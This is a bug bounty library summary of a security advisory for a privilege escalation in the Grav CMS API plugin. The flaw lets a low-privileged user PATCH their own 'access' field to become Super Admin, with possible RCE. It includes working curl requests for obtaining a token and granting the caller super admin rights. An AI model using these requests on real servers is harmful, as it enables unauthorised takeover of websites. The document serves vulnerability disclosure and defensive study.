# Grav API Privilege Escalation to Super Admin

Grav API plugin lets any user with api.access PATCH their own access field to grant admin.super, escalating to Super Admin and potential RCE.

- Payout: Research
- Severity: high
- Program: Grav
- Found by: n0tra4e
- Disclosed: 2026-05-05
- CVE: CVE-2026-42843
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r945-h4vm-h736
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r945-h4vm-h736
- Tags: area:web domain:api domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:business-logic vuln:privilege-escalation

**Target:** Grav API plugin UsersController update endpoint (PATCH /api/v1/users/{username})
**Root cause:** Self-edit path only requires api.access, but the PATCH field whitelist includes 'access' with no check that the caller is already an administrator, allowing a user to overwrite their own permission object.
**Steps:**
1. Authenticate as low-privileged user with api.access: `curl -X POST http://<target>/api/v1/auth/token -H "Content-Type: application/json" -d '{"username":"user1","password":"your_password"}'`
2. Send PATCH to own user with elevated access object: `curl -X PATCH http://<target>/api/v1/users/user1 -H "X-API-Token: <your_access_token>" -H "Content-Type: application/json" -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"`
3. Log in to Grav Admin panel with the same credentials to confirm Super Administrator privileges.
**How found:** Code review of UsersController::update: noticed the self-edit branch only requires api.access while the PATCH allowedFields whitelist includes 'access' with no secondary admin check.
**Exploitation:** Any authenticated user holding baseline api.access obtains a JWT, then PATCHes their own user record with an access object setting admin.super and api.super true. The server applies the field without authorization check, granting full Super Admin control of the CMS.
**Escalation:** Super Admin allows editing Twig templates outside the sandbox or uploading malicious plugins, yielding RCE on the server.
**Insight:** When a self-service profile update endpoint shares a field whitelist with admin-only updates, check whether privilege-bearing fields (roles, permissions, access) are in that shared list and whether the self-edit branch re-validates them.

## Proof of concept (copied exactly from the original report)

**PATCH request granting self super admin**

```
curl -X PATCH http://<target>/api/v1/users/user1 \
     -H "X-API-Token: <your_access_token>" \
     -H "Content-Type: application/json" \
     -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"
```

**Token auth request for low-priv user**

```
curl -X POST http://<target>/api/v1/auth/token \
     -H "Content-Type: application/json" \
     -d '{"username":"user1","password":"your_password"}'
```